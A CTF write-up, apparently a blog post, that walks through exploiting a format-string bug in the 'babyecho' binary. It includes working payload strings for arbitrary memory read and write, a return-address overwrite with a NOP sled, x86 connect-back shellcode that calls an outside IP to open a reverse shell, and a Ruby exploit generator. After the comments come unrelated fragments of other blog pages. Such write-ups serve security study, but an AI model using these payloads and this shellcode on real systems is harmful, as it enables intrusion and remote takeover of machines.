    $ make test
    cc test.c   -o test
    $ ./test
    80495e4 fffffc68 80482c8 41414141 42424242 43434343 123
    

    End result: I was closer than I thought I'd be! There are three pointers (it looks like two pointers within the binary and one from the stack, if I had to guess) that come from who-knows-where, but the rest is there. I added five more "%x"s to the string to see if we could get the parameters:

    $ ./test
    80495f8 fffffc68 80482c8 41414141 42424242 43434343 123 b7fcc304 b7fcbff4 fffffc98 8048412 3e8 a
    

    There we go! We can see 0x3e8 (the first parameter, 1000), 0xa (the second parameter, 10), then 0x8048412 (which will be the return address) and 0xfffffc98 (which will be the saved ebp value). The two unknown values after (0xb7fcbff4 and 0xb7fcc304) are likely saved registers, which I confirmed with objdump:

    $ objdump -D -M intel test
    [...]
      40054a:       55                      push   rbp
      40054b:       48 89 e5                mov    rbp,rsp
      40054e:       48 83 ec 20             sub    rsp,0x20
      400552:       89 7d ec                mov    DWORD PTR [rbp-0x14],edi
      400555:       89 75 e8                mov    DWORD PTR [rbp-0x18],esi
      400558:       c7 45 fc 23 01 00 00    mov    DWORD PTR [rbp-0x4],0x123
    [...]
    

    printf() - the important bits

    We've seen how to read off the stack with a format-string vulnerability. What else can we do? At this point, we'll switch to the binary from the game for the remainder of the testing.

    The game binary is really easy.. it's a pretty standard format string vulnerability:

    $ ./babyecho
    Reading 13 bytes
    hello
    hello
    Reading 13 bytes
    %x
    d
    Reading 13 bytes
    %x %x %x
    d a 0
    Reading 13 bytes
    %x%x%x%x %x
    da0d fffff87c
    

    Basically, it's doing printf(attacker_str) - simple, but a vulnerability. The right way to do it is printf("%s", atatcker_str) - that way, attacker_str won't be mistaken for a format string.

    The first important bit is that, with just that simple mistake in development, we can crash the binary:

    $ ./babyecho
    Reading 13 bytes
    %s
    Segmentation fault (core dumped)
    

    And we can read strings:

    Reading 13 bytes
    %x%x%x%x %x
    da0d fffff87c
    $ ./babyecho
    Reading 13 bytes
    %x%x%x%x %s
    da0d %x%x%x%x %s
    

    ...confusingly, the string at 0xfffff87c was a pointer to the format string itself.

    And, with %n, we can crash another way:

    Reading 13 bytes
    %x%x%x%x %n
    da0d _n
    

    ...or can we? It looks like the level filtered out %n! But, of course, we can get around that if we want to:

    $ ./babyecho
    Reading 13 bytes
    %n
    _n
    Reading 13 bytes
    %hn
    Segmentation fault (core dumped)
    

    So we have that in our pocket if we need it. Let's talk about %n for a minute...

    %n? Who uses that?

    If you're a developer, you've most likely seen and used %d and %s. You've probably also seen %x and %p. But have you ever heard of %n?

    As far as I can tell, %n was added to printf() specifically to make it possible to exploit format string vulnerabilities. I don't see any other use for it, really.

    %n calculates the number of bytes printf() has output so far, and writes it to the appropriate variable. In other words, this:

    int a;
    printf("%n", &a);
    

    will write 0 to the variable a, because nothing has been output. This code:

    int a;
    printf("AAAA%n", &a);
    

    will write 4 to the variable a. And this:

    printf("%100x%n");
    

    will write the number 100 (%100x outputs a 100-byte hex number whose value is whatever happens to be next on the stack) to the address that happens to be second on the stack (right after the format string). If it's a valid address, it writes to that memory address. If it's an invalid address, it crashes.

    Guess what? That's basically an arbitrary memory write. We'll see more later!

    Cramming bytes in

    Now, let's talk about how we're only allowed 13 bytes for the challenge ("Reading 13 bytes"). 13 bytes isn't enough to do a proper format string exploit in many cases (sometimes it is!). To do a proper exploit, you need to be able to provide an address (4 bytes on 32-bit), %NNx to waste bytes (4-5 more bytes), and then %N$n (another 4-5 bytes). That's a total of 12 bytes in the best case. And, for reasons that'll become abundantly clear, you have to do it four times.

    That means we need a way to input longer strings! Thankfully, a 13-byte format string IS long enough to write a single byte to anywhere in memory. We'll do that in the next section, but first I want to introduce another printf() feature that was probably designed for hackers: %123$x.

    %123$x means "read the 123rd argument". The idea is that this is inefficient:

    printf("The value is %d [0x%02x]\n", value, value);
    

    so instead, you can save 4 bytes of stack memory (otherwise known as approximately 0.0000000125% of my total memory) and a push operation (somewhere around 1 clock cycle on my 3.2mhz machine) by making everything a little more confusing:

    printf("The value is %d [0x%1$02x]\n", value);
    

    Seriously, that actually works. You can try it!

    The cool thing about that is instead of only being able to access six stack elements ("%x%x%x%x%x%x%"), we can read any variable on the stack! Check out how much space it saves:

    Reading 13 bytes
    %x%x%x%x %x
    da0d ffffc69c
    Reading 13 bytes
    %5$x
    ffffc69c
    

    Starting to build the exploit

    Let's write a quick bash script to print off %1$x, %2$x, %3$x, ...etc:

    $ for i in `seq 1 200`; do echo -e "$i:0x%$i\$x" | ./babyecho; done | grep -v Reading | grep -v '0x0$'
    1:0xd
    2:0xa
    4:0xd
    5:0xffffc69c
    7:0x78303a37
    8:0x78243825
    135:0xffffc98c
    136:0x8048034
    138:0x80924d1
    139:0x80704fd
    140:0xffffc90a
    154:0x80ea570
    155:0x18
    157:0x2710
    158:0x14
    159:0x3
    160:0x28
    161:0x3
    163:0x38
    165:0x5b
    167:0x6e
    169:0x77
    171:0x7c
    175:0x80ea540
    ...
    

    If you run it a second time and any values change, be sure you turn off ASLR. It's totally possible to write an exploit for this challenge that assumes ASLR is on, but it's easier to explain one thing at a time. :)

    Arbitrary memory read

    The values at offset 7 and 8 are actually interesting.. let's take a quick look at them:

    $ ./babyecho
    Reading 13 bytes
    %7$x
    78243725
    

    What's going on here?

    It's printing the hex number 0x78243725, which is the 7th thing on the stack. Since it's little endian, that's actually "25 37 24 78" in memory, which, if you know your ASCII, is "%7$x". That looks a bit familiar, eh? The first 4 bytes of the string?

    Let's try making the first 4 bytes of the string something more recognizable:

    $ ./babyecho
    Reading 13 bytes
    AAAA -> %7$x
    AAAA -> 41414141
    Reading 13 bytes
    ABCD -> %7$x
    ABCD -> 44434241
    

    So it's printing the first 4 bytes of itself! That's extremely important, because if we now change %...x to %...s, we get:

    $ ulimit -c unlimited
    $ echo -e 'AAAA%7$s' | ./babyecho
    
    Reading 13 bytes
    Segmentation fault (core dumped)
    

    ...a crash! And if we investigate the crash:

    $ gdb -q ./babyecho ./core
    Core was generated by `./babyecho'.
    Program terminated with signal SIGSEGV, Segmentation fault.
    #0  0x0807f134 in ?? ()
    (gdb) x/i $eip
    => 0x807f134:   repnz scas al,BYTE PTR es:[edi]
    (gdb) print/x $edi
    $1 = 0x41414141
    

    We determine that it crashed while trying to read edi, which is 0x41414141. And we can use any address we want - for example, I grabbed a random string from IDA - 0x080C1B94 - so let's encode that in little endian and use it:

    $ echo -e '\x94\x1b\x0c\x08%7$s' | ./babyecho
    Reading 13 bytes
    ../sysdeps/unix/sysv/linux/getcwd.c
    

    It prints out the string! If I really want to, I can chain together a few:

    $ echo -e '\x06\x1d\x0c\x08%7$s\n\x1f\x1d\x0c\x08%7$s\n' | ./babyecho
    Reading 13 bytes
    buffer overflow detected
    Reading 13 bytes
    stack smashing detected
    

    It didn't really detect any of those, of course - I'm just printing out those strings for fun :)

    Arbitrary memory write

    That's an arbitrary memory read. And as a side effect, we've also bypassed ASLR if that's applicable (in this level, it's not really).

    Now let's go back to our code that tried to read 0x41414141 ("AAAA%7$s") and change the %..s to a %..n:

    $ ulimit -c unlimited
    $ echo -e 'AAAA%7$n' | ./babyecho
    Reading 13 bytes
    Segmentation fault (core dumped)
    

    no surprise there.. let's see what happened:

    $ gdb -q ./babyecho ./core
    Program terminated with signal SIGSEGV, Segmentation fault.
    #0  0x08080c2a in ?? ()
    (gdb) x/i $eip
    => 0x8080c2a:   mov    DWORD PTR [eax],ecx
    (gdb) print/x $eax
    $1 = 0x41414141
    (gdb) print/x $ecx
    $2 = 0x4
    

    So it crashed while trying to write 0x4 - a value we sort of control - into 0x41414141 - a value we totally control.

    Of course, writing the value 0x4 every time is boring, but we can change to anything - let's try to make it 0x80:

    $ echo -e 'AAAA%124x%7$n' | ./babyecho
    Reading 13 bytes
    AAAA                                                                                                                           d%
    Reading 13 bytes
    
    Reading 13 bytes
    

    Uh oh! What happened?

    Unfortunately, that string is one byte too long, which means the %n isn't getting hit. We need to deal with this pesky length problem!

    Making it longer

    The maximum length for the string is 13 - 0x0d - bytes. Presumably that value is stored on the stack somewhere, and it is:

    $ for i in `seq 1 2000`; do echo -e "$i:0x%$i\$x" | ./babyecho; done | grep ":0xd$"
    1:0xd
    4:0xd
    246:0xd
    385:0xd
    

    The problem is, to write that, we need an absolute address. "AAAA%7$n" writes to the address "AAAA", but we need to know which address those 0xd's live at.

    There are a lot of different ways to do this, but none of them are particularly nice. One of the easiest ways is to use one of those corefiles from earlier, grab the 'esp' register (the stack pointer), and read upwards from esp till we hit the top of the stack.

    The most recent corefile was caused by trying to write to 0x41414141, which is just fine. We're going to basically read everything on the stack at the time it crashed (somewhere in printf()):

    (gdb) x/i $eip
    => 0x8080c2a:   mov    DWORD PTR [eax],ecx
    (gdb) print/x $esp
    $2 = 0xffff9420
    (gdb) x/10000xw $esp
    0xffff9420:     0xffff94b0      0x00000000      0x0000001c      0x00000000
    0xffff9430:     0x00000000      0x00000000      0x00000000      0x00000000
    0xffff9440:     0x0000000d      0x00000000      0x00000000      0x0000000a
    ...
    0xffff9460:     0x00000000      0x0000000d      0x00000000      0x00000000
    ...
    0xffffc690:     0x0000000d      0xffffc69c      0x00000000      0x41414141
    0xffffc680:     0xffffc69c      0x0000000d      0x0000000a      0x00000000
    ...
    0xffffca50:     0x00000028      0x00000007      0x0000000d      0x00008000
    0xffffdff0:     0x65796261      0x006f6863      0x00000000      0x00000000
    0xffffe000:     Cannot access memory at address 0xffffe000
    

    So we have five instances of 0x0000000d:

    • 0xffff9440
    • 0xffff9464
    • 0xffffc684
    • 0xffffc690
    • 0xffffca58

    We try modifying each of them using our %n arbitrary write to see what happens:

    $ echo -e '\x40\x94\xff\xff%7$n' | ./babyecho
    Reading 13 bytes
    ....
    Reading 13 bytes
    
    $ echo -e '\x64\x94\xff\xff%7$n' | ./babyecho
    Reading 13 bytes
    ....
    Reading 13 bytes
    
    $ echo -e '\x84\xc6\xff\xff%7$n' | ./babyecho
    Reading 13 bytes
    ....
    Reading 13 bytes
    
    $ echo -e '\x90\xc6\xff\xff%7$n' | ./babyecho
    Reading 13 bytes
    ....
    Reading 4 bytes
    

    Aha! We were able to overwrite the length value with the integer 4. Obviously we don't want 4, but because of the 13-byte limit the best we can do is 99 more:

    $ echo -e '\x90\xc6\xff\xff%99x%7$n' | ./babyecho
    Reading 13 bytes
    ....                                                                                                  d
    Reading 103 bytes
    

    or is it? We can actually mess with a different byte. In other words, instead of changing the last byte - 0x000000xx - we change the second last - 0x0000xx00 - which will be at the next address:

    $ echo -e '\x91\xc6\xff\xff%99x%7$n' | ./babyecho
    Reading 13 bytes
    ....                                                                                                  d
    Reading 1023 bytes
    

    1023 bytes is pretty good! That's plenty of room to build a full exploit.

    Controlling eip

    The next step is to control eip - the instruction pointer, or the thing that says which instruction needs to run. Once we control eip, we can point it at some shellcode (code that gives us full control).

    The easiest way to control eip is to overwrite a return address. As we learned somewhere wayyyyyyy up there, return addresses are stored on the stack the same way the length value was stored. And we can find it the same way - just go to where it crashed and find it.

    We'll use the same ol' value to crash it:

    $ ulimit -c unlimited
    $ echo -e 'AAAA%7$n' | ./babyecho
    Reading 13 bytes
    Segmentation fault (core dumped)
    $ gdb ./babyecho ./core
    ...
    (gdb) bt
    #0  0x08080c2a in ?? ()
    #1  0x08081bb0 in ?? ()
    #2  0x0807d285 in ?? ()
    #3  0x0804f580 in ?? ()
    #4  0x08049014 in ?? ()
    #5  0x0804921a in ?? ()
    #6  0x08048d2b in ?? ()
    

    "bt" - or "backtrace" - prints the list of functions that were called to get to where you are. The call stack. If we can find any of those values on the stack, we can overwrite it and win. I arbitrarily chose 0x08081bb0 and found it at 0xffffa054, but it didn't work. Rather than spend a bunch of time troubleshooting, I found 0x0807d285 instead:

    (gdb) x/10000xw $esp
    0xffff9420:     0xffff94b0      0x00000000      0x0000001c      0x00000000
    0xffff9430:     0x00000000      0x00000000      0x00000000      0x00000000
    0xffff9440:     0x0000000d      0x00000000      0x00000000      0x0000000a
    ...
    0xffffc140:     0x080ea200      0x080ea00c      0xffffc658      0x0807d285
    

    It's stored at 0xffffc14c. Let's try changing it to something else:

    $ echo -e '\x4c\xc1\xff\xff%7$n' | ./babyecho
    Reading 13 bytes
    ....Segmentation fault (core dumped)
    $ gdb -q ./babyecho ./core
    Core was generated by `./babyecho'.
    Program terminated with signal SIGSEGV, Segmentation fault.
    #0  0x00000004 in ?? ()
    

    We overwrote the return address with 4, just like we'd expect! Let's chain together the two exploits - the one for changing the length and the one for changing the return address (I'm quoting the strings separately to make it more clear, but bash will automatically combine them):

    $ echo -e '\x91\xc6\xff\xff%99x%7$n\n''\x4c\xc1\xff\xff%10000x%7$n' | ./babyecho
    Reading 13 bytes
    ....                                                                                                  d
    Reading 1023 bytes
    L...
    [...lots of empty space...]
    3ffSegmentation fault (core dumped)
    
    $ gdb -q ./babyecho ./core
    Core was generated by `./babyecho'.
    Program terminated with signal SIGSEGV, Segmentation fault.
    #0  0x00002714 in ?? ()
    

    0x2714 = 10004 - so we can definitely control the return address!

    Writing four bytes

    When we're running it locally, we can also go a little crazy:

    $ echo -e '\x91\xc6\xff\xff%99x%7$n\n''\x4c\xc1\xff\xff%1094795581x%7$n' | ./babyecho > /dev/null
    segmentation fault
    $ gdb -q ./babyecho ./core
    Core was generated by `./babyecho'.
    Program terminated with signal SIGSEGV, Segmentation fault.
    #0  0x41414141 in ?? ()
    

    We use %1094795581x to write 0x4141413d bytes to stdout, then %7$n writes 0x41414141 to the return address. The problem is, if we were running that over the network, we'd have to wait for them to send us 1,094,795,581 or so bytes, which is around a gigabyte, so that's probably not going to happen. :)

    What we need is to provide four separate addresses. We've been using %7$n all along to access the address identified by the first four bytes of the string:

    "AAAA%7$n"
    

    But we can actually do multiple addresses:

    "AAAABBBBCCCCDDDD%7$n%8$n%9$n%10$n"
    

    That will try writing to the 7th thing on the stack - 0x41414141. If that succeeds, it'll write to the 8th thing - 0x42424242 - and so on. We can prove that by using %..x instead of %..n:

    $ echo -e '\x91\xc6\xff\xff%99x%7$n\n''AAAABBBBCCCCDDDD << %7$x * %8$x * %9$x * %10$x >>' | ./babyecho
    Reading 13 bytes
    ....                                                                                                  d
    Reading 1023 bytes
    AAAABBBBCCCCDDDD << 41414141 * 42424242 * 43434343 * 44444444 >>
    

    As expected, the 7th, 8th, 9th, and 10th values on the stack were "AAAA", "BBBB", "CCCC", and "DDDD". If that doesn't make sense, go take a look at func_a(), which was one of my first examples, and which put AAAA, BBBB, and CCCC onto the stack.

    Now, since we can write to multiple addresses, instead of doing a single gigabyte of writing, we can do either two or four short writes. I'll do four, since that's more commonly seen. That means we're going to do something like this (once again, I'm adding quotes to make it clear what's happening, they'll disappear):

    '\x4c\xc1\xff\xff''\x4d\xc1\xff\xff''\x4e\xc1\xff\xff''\x4f\xc1\xff\xff''%49x%7$n''%8$n''%9$n''%10$n'
    

    Breaking it down:

    • The first 16 bytes are the four addresses - 0xffffc14c, 0xffffc14d, 0xffffc14e, and 0xffffc14f. Something interesting to note is that 0xffffc150 - 0xffffc152 will also get overwritten, but we aren't going to worry about those
    • "%49x" will output 49 bytes. This is simply to pad our string to a total of 65 - 0x41 - bytes (49 bytes here + 16 bytes worth of addresses)
    • "%7$n" will write the value 0x41 - the number of bytes that have so far been printed - to the first of the four addresses, which is 0x41414141 ("AAAA")
    • "%8$n" will write 0x41 - still the number of printed bytes so far - to the second address, 0x42424242
    • "%9$n" and "%10$n" do exactly the same thing to 0x43434343 and 0x44444444

    Let's give it a shot (I'm going to start redirecting to /dev/null, because we really don't need to see the crap being printed anymore):

    $ echo -e '\x91\xc6\xff\xff%99x%7$n\n''\x4c\xc1\xff\xff''\x4d\xc1\xff\xff''\x4e\xc1\xff\xff''\x4f\xc1\xff\xff''%49x%7$n''%8$n''%9$n''%10$n' | ./babyecho > /dev/null
    Segmentation fault (core dumped)
    $ gdb -q ./babyecho ./core
    Reading symbols from ./babyecho...(no debugging symbols found)...done.
    [New LWP 2662]
    Core was generated by `./babyecho'.
    Program terminated with signal SIGSEGV, Segmentation fault.
    #0  0x41414141 in ?? ()
    

    Sweet! It worked!

    What happens if we want to write four different bytes? Let's say we want 0x41424344...

    In memory, 0x41424344 is "44 43 42 41". That means we have to write 44, then 43, then 42, then 41.

    0x44 is easy. We know we're writing 16 bytes worth of addresses. To go from 16 to 0x44 (68) is 52 bytes. So we put "%52x%7$n" and our return address looks like this:

    ?? ?? ?? ?? [44 00 00 00] ?? ?? ?? ??
    

    Next, we want to write 0x43 to the next address. We've already output 0x44 bytes, so to output a total of 0x43 bytes, we'll have to wrap around. 0x44 + 0xff (255) = 0x0143. So if we use "%255x%8$n", we'll write 0x0143 to the next address, which will give us the following:

    ?? ?? ?? ?? [44 43 01 00] 00 ?? ?? ??
    

    Two things stick out here: first, there's a 0x01 that shouldn't be there. But that'll get overwritten so it doesn't matter. The second is that we've now written one byte *past* our address. That means we're killing a legitimate variable, which may cause problems down the road. Luckily, in this level it doesn't matter - sucks to be that variable!

    All right, so we've done 0x44 and 0x43. Now we want 0x42. To go from 0x43 to 0x42 is once again 0xff (255) bytes, so we can do almost the same thing: "%255x%9$n". That'll make the total number of bytes printed 0x0242, and will make our return address:

    ?? ?? ?? ?? [44 43 42 02] 00 00 ?? ??
    

    Finally, to go from 0x42 to 0x41, we need another 255 bytes, so we do the same thing one last time: "%255x%10$n", and our return address is now:

    ?? ?? ?? ?? [44 43 42 41] 03 00 00 ??
    

    Putting that all together, we get:

    '\x4c\xc1\xff\xff''\x4d\xc1\xff\xff''\x4e\xc1\xff\xff''\x4f\xc1\xff\xff''%52x%7$n''%255x%8$n''%255x%9$n''%255x%10$n'
    

    We prepend our length-changer onto the front, and give it a whirl:

    $ echo -e '\x91\xc6\xff\xff%99x%7$n\n''\x4c\xc1\xff\xff''\x4d\xc1\xff\xff''\x4e\xc1\xff\xff''\x4f\xc1\xff\xff''%52x%7$n''%255x%8$n''%255x%9$n''%255x%10$n' | ./babyecho > /dev/null
    Segmentation fault (core dumped)
    $ gdb -q ./babyecho ./core
    Program terminated with signal SIGSEGV, Segmentation fault.
    #0  0x41424344 in ?? ()
    

    I'm happy to report that I'm doing this all by hand to write the blog, and I got that working on my first try. :)

    A quick word of warning: if you're trying to jump to an address like 0x44434241, you have to write "41 42 43 44" to memory. To write the 0x41, as usual you'll want to use %49x%7$n. That means that 65 (0x41) bytes have been output so far. To then output 0x42, you need one more byte written. The problem is that %1x can output anything between 1 and 8 bytes, because it won't truncate the output. You have to use either "%257x" or just a single byte, like "A". I fought with that problem for quite some time during this level...

    Let's summarize what we've done...

    I feel like I've written a lot. According to my editor, I'm at 708 lines right now. And it's all pretty crazy!

    So here's a summary of where we are before we get to the last step...

    • We used %n and a static address to change the max length of the input string
    • We gave it four addresses to edit, which wind up on the stack (see func_a)
    • We use %NNx, where NN = the number of bytes we want to waste, to ensure %n writes the proper value
    • We use %7$n to write to the first address, %8$n to write to the second address, %9$n to write to the third address, and %10$n to write to the fourth, with a %NNx between each of them to make sure we waste the appropriate number of bytes

    And now for the final step...

    Going somewhere useful

    For the last part, instead of jumping to 0x41414141 or 0x41424344, we're going to jump to some shellcode. Shellcode is, basically, "code that spawns a shell". I normally wind up Googling for the exact shellcode I want, like "32-bit Linux connect back shellcode", and grabbing something that looks legit. That's not exactly a great practice in general, because who knows what kind of backdoors there are, but for a CTF it's not a big deal (to me, at least :) ).

    Before we worry about shellcode, though, we have to figure out where to stash it!

    It turns out, for this level, the stack is executable. That makes life easy - I wrote an exploit that ROPed to mprotect() to make it executable before running the shellcode, then realized that was totally unnecessary.

    Since we can access the buffer with "%x" in the format string, it means the buffer is definitely on the stack somewhere. That means we can find it exactly like we found everything else - open up the corefile and start looking at the stack pointer (esp).

    Let's use the same exploit as we just used to crash it, but this time we'll put some text after that we can search for:

    $ echo -e '\x91\xc6\xff\xff%99x%7$n\n''\x4c\xc1\xff\xff''\x4d\xc1\xff\xff''\x4e\xc1\xff\xff''\x4f\xc1\xff\xff''%52x%7$n''%255x%8$n''%255x%9$n''%255x%10$n''AAAAAAAAAAAAAAAAAAAAAAAAAA' | ./babyecho > /dev/null
    Segmentation fault (core dumped)
    
    $ gdb -q ./babyecho ./core
    #0  0x41424344 in ?? ()
    (gdb) x/10000xw $esp
    0xffffc150:     0x00000003      0x00000000      0x00000000      0x00000000
    0xffffc160:     0x00000000      0x00000000      0x00000000      0x00000000
    ...
    0xffffc6c0:     0x39257835      0x32256e24      0x25783535      0x6e243031
    0xffffc6d0:     0x41414141      0x41414141      0x41414141      0x41414141
    

    There we go! The shellcode is stored at 0xffffc6d0!

    That means we need to write "d0 c6 ff ff" to the return address.

    We start, as always, by writing our 16 bytes worth of addresses: '\x4c\xc1\xff\xff''\x4d\xc1\xff\xff''\x4e\xc1\xff\xff''\x4f\xc1\xff\xff' - that's the offset each of the 4 bytes of the return address.

    The first byte we want to write to the return address is 0xd0 (208), which means that after the 16 bytes of addresses we need an additional 208 - 16 = 192 bytes: '%192x%7$n'

    The second byte of our shellcode offset is 0xc6. To go from 0xd0 to 0xc6 we have to wrap around by adding 246 bytes (0xd0 + 246 = 0x01c6): '%246x%8$n'

    The third byte is 0xff. 0xff - 0xc6 = 57: '%57x%9$n'

    The fourth byte is also 0xff, which means we can either do %256x or just nothing: '%10$n'.

    Putting it all together, we have:

    '\x4c\xc1\xff\xff''\x4d\xc1\xff\xff''\x4e\xc1\xff\xff''\x4f\xc1\xff\xff''%192x%7$n''%246x%8$n''%57x%9$n''%10$n'"$SHELLCODE"
    

    We have one small problem, though: when we calculated the address of the shellcode earlier, we didn't take into account the fact that we were going to wind up changing the format string. Because we changed it, buffer is going to be in a slightly different place. We'll solve that the easy way and just pad it with NOPs (no operation - 0x90):

    '\x4c\xc1\xff\xff''\x4d\xc1\xff\xff''\x4e\xc1\xff\xff''\x4f\xc1\xff\xff''%192x%7$n''%246x%8$n''%57x%9$n''%10$n''\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'"$SHELLCODE"
    

    Now, let's make sure all that's working by using either "\xcd\x03" or "\xcc" as shellcode. These both refer to a debug breakpoint and are really easy to see:

    $ echo -e '\x91\xc6\xff\xff%99x%7$n\n''\x4c\xc1\xff\xff''\x4d\xc1\xff\xff''\x4e\xc1\xff\xff''\x4f\xc1\xff\xff''%192x%7$n''%246x%8$n''%57x%9$n''%10$n''\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90''\xcc' | ./babyecho > /dev/null
    Trace/breakpoint trap (core dumped)
    

    Awesome! The second test string I always use is \xeb\xfe, which causes an infinite loop:

    $ echo -e '\x91\xc6\xff\xff%99x%7$n\n''\x4c\xc1\xff\xff''\x4d\xc1\xff\xff''\x4e\xc1\xff\xff''\x4f\xc1\xff\xff''%192x%7$n''%246x%8$n''%57x%9$n''%10$n''\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90''\xeb\xfe' | ./babyecho > /dev/null
    ...nothing happens...
    

    I like using those two against the real server to see if things are working. The real server will disconnect you immediately for "\xcd\x03", and the server will time out with "\xeb\xfe".

    Shellcode

    For the final step (to exploiting it locally), let's grab some shellcode from the Internet.

    This is some shellcode I've used in the past - it's x86, and it connects back to my ip address on port 0x4444 (17476). I've put some additional quotes around the ip address and the port number so they're easy to find:

    "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\x31\xdb\xb3\x02\x68""\xce\xdc\xc4\x3b""\x66\x68""\x44\x44""\x66\x53\xfe\xc3\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80\x75\xf8\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xb0\x0b\xcd\x80"
    

    We replace the "\xcc" or "\xeb\xfe" with all that muck, and give it a run:

    $ echo -e '\x91\xc6\xff\xff%99x%7$n\n''\x4c\xc1\xff\xff''\x4d\xc1\xff\xff''\x4e\xc1\xff\xff''\x4f\xc1\xff\xff''%192x%7$n''%246x%8$n''%57x%9$n''%10$n''\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\x31\xdb\xb3\x02\x68""\xce\xdc\xc4\x3b""\x66\x68""\x44\x44""\x66\x53\xfe\xc3\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80\x75\xf8\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xb0\x0b\xcd\x80" | ./babyecho > /dev/null
    

    Meanwhile, on my server, I'm listening for connections, and sure enough, a connection comes:

    $ nc -vv -l -p 17476
    listening on [any] 17476 ...
    connect to [206.220.196.59] from 71-35-121-132.tukw.qwest.net [71.35.121.123] 56307
      pwd
    /home/ron/defcon-quals/babyecho
    ls /
    applications-merged
    bin
    boot
    dev
    etc
    home
    lib
    lib32
    lib64
    lost+found
    media
    mnt
    opt
    proc
    root
    run
    sbin
    stage3-amd64-20130124.tar.bz2
    sys
    tmp
    torrents
    usr
    var
    vmware
    

    Using it against the real server...

    The biggest difference between what we just did and using this against the real server is that you can't run a debugger on the server to grab addresses. Instead, you have to leak a stack address and use a relative offset. That's pretty straight forward, though, the format string lets you use "%x" to go up and down the stack trivially.

    It's also a huge pain to calculate all the offsets by hand, so here's some code I wrote during the competition to generate a format string exploit for you... it should take care of everything:

    def create_exploit(writes, starting_offset, prefix = "")
      index = starting_offset
      str = prefix
    
      addresses = []
      values = []
      writes.keys.sort.each do |k|
        addresses << k
        values << writes[k]
      end
      addresses.each do |a|
        str += [a, a+1, a+2, a+3].pack("VVVV")
      end
    
      len = str.length
    
      values.each do |v|
        a = (v >>  0) & 0x0FF
        b = (v >>  8) & 0x0FF
        c = (v >> 16) & 0x0FF
        d = (v >> 24) & 0x0FF
    
        [a, b, c, d].each do |val|
          count = 257
          len  += 1
          while((len & 0x0FF) != val)
            len   += 1
            count += 1
          end
    
          str += "%#{count}x"
          str += "%#{index}$n"
          index += 1
        end
      end
    
      puts("Generated a #{str.length}-byte format string exploit:")
      puts(str)
      puts(str.unpack("H*"))
    
      return str
    end
    

    Conclusion

    That's a big, long, fairly detailed explanation of format string bugs.

    Basically, a format string bug lets you read the stack and write to addresses stored on the stack. By using four single-byte writes to consecutive addresses, and carefully wasting just enough bytes in between, you can write an arbitrary value to anywhere in memory.

    By carefully selecting where to write, you can overwrite the return address.

    In this particular level, we were able to run shellcode directly from the stack. Ordinarily. I would have looped for somewhere to ROP to, such as using mprotect() to make the stack executable.

    And that's it!

    Please leave feedback. I spent a long time writing this, would love to hear what people think!

    8 thoughts on “Defcon Quals: babyecho (format string vulns in gory detail)

    1. Reply

      WawaSeb

      Awesome writeup.

      Many thanks.
      :)

    2. Reply

      N8Fear

      It seems like you never fail to deliver. If I had this or your explanation of ROP back when I did "Computer Security" at university the course would have been way more easier.
      You really have a very entertaining style of writing about technical matters and an uncanny ability to break hard technical stuff into easy to understand pieces of information.
      I'm quite thankful I guess and I'm (as always) looking forward to the next blog entry of yours.

      PS: Also it's also nice to "meet" fellow Gentoo users... ;-)

      1. Reply

        Ron Bowes Post author

        Haha, what gave me away re: Gentoo? :)

        1. Reply

          N8Fear

          The stage3 archive in your root directory... ;-)

          1. Reply

            Ron Bowes Post author

            Hahaha, well played!

    3. Reply

      vang

      Can you do it on 64 bit machine?

    4. Reply

      Amit

      Can you please share the source code of babyecho ? Thanks.

    5. Reply

      Snail_

      Incredible writeup! :)

    Leave a Reply

    Your email address will not be published.

     

    #####EOF##### September » 2014 » SkullSecurity

    Call for help: researching the recent gmail password leak

    Hey folks, You probably heard this week about 5 million @gmail.com accounts posted. I've been researching it independently, and was hoping for some community help (this is completely unrelated to the fact that I work at Google - I just like passwords). I'm reasonably sure that the released list is an amalgamation of a bunch […]

    #####EOF##### December » 2013 » SkullSecurity

    BSides Winnipeg Wrap-up

    For those of you who are close to me, you'll know that my life has been crazy lately. Between teaching courses, changing jobs (here I come, Google!recently started at Google! (I'm slow at posting these :) )), and organizing BSides Winnipeg, I've barely had time to breathe! Things are still chaotic, of course (in fact, […]

    #####EOF##### Defcon Quals: Access Control (simple reverse engineer) » SkullSecurity


    Defcon Quals: Access Control (simple reverse engineer)

    Hello all,

    Today's post will be another write-up from the Defcon CTF Qualifiers. This one will be the level called "Access Client", or simply "client", which was a one-point reverse engineering level. This post is going to be mostly about the process I use for reverse engineering crypto-style code - it's a much different process than reversing higher level stuff, because each instruction matters and it's often extremely hard to follow.

    Having just finished another level (r0pbaby, I think), and having about an hour left in the competition, I wanted something I could finish quickly. There were two one-point reverse engineering challenges open that we hadn't solved: one was 64-bit and written in C++, whereas this one was 32-bit and C and only had a few short functions. The choice was easy. :)

    I downloaded the binary and had a look at its strings. Lots of text-based stuff, such as "list users", "print key", and "connection id:", which I saw as a good sign!

    Running it

